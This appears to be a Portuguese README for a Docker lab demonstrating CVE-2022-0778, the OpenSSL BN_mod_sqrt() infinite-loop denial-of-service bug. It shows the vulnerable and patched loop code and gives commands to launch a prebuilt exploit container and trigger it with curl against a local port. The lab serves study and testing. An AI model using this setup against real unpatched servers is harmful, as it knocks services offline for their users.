
Exploit de prova de conceito para CVE-2022-0778, uma vulnerabilidade de negação de serviço na função BN_mod_sqrt() do OpenSSL, com ambiente de laboratório baseado em Docker para testes e análise.
Colaboradores
A vulnerabilidade CVE-2022-0778 afeta a função BN_mod_sqrt() do OpenSSL, que calcula a raiz quadrada de números primos.
Quando esta função processa certificados maliciosamente manipulados que não são baseados em números primos, servidores não corrigidos podem ficar expostos a ataques de DoS.
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
/* If not found, a is not a square or p is not prime. */
if (i >= e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
while original foi alterado para um loop for.Configuração do ambiente Ubuntu
docker compose up -d Executar o ambiente de teste
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
docker compose exec curl top Verificar o status dos processos
docker compose exec curl bash Executar bash
curl -k https://172.17.0.1:12345 Enviar uma solicitação HTTPS para a porta 12345

docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345 para iniciar a imagem Docker.
docker compose exec curl top para verificar a situação dos processos em execução.
docker compose exec curl bash e, em seguida, envie uma solicitação HTTPS para a porta 12345 com curl -k https://172.17.0.1:12345.